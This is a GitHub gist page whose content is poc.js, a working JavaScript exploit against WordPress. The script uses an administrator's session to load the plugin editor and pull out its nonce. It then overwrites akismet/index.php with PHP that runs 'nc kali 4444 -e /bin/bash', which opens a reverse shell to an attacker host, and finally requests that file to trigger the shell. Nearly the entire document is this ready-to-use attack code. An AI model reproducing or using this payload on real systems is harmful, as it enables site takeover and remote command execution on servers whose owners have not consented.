Skip to content

Instantly share code, notes, and snippets.

@LukaSikic

LukaSikic/poc.js

Created May 19, 2019 21:32
Show Gist options
  • Save LukaSikic/48f30805b10e2a4dfd6858ebdb304be9 to your computer and use it in GitHub Desktop.
Save LukaSikic/48f30805b10e2a4dfd6858ebdb304be9 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. LukaSikic created this gist May 19, 2019.
    18 changes: 18 additions & 0 deletions poc.js
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    u = "/wp-admin/plugin-editor.php"
    p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
    var x = new XMLHttpRequest();
    var r=0
    x.open('GET',u+"?"+ p,1);
    x.send(null);

    x.onreadystatechange = function() {
    if (x.readyState === 4 && r != 1) {
    n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
    x.open("POST", u, 1)
    x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    x.send(p + "&nonce=" + n + "&newcontent=%3C%3Fphp%20exec%28%27nc%20kali%204444%20-e%20%2Fbin%2Fbash%27%29%3B%20%3F%3E&action=edit-theme-plugin-file")
    r = 1
    } else {
    fetch('/wp-content/plugins/akismet/index.php')
    }
    }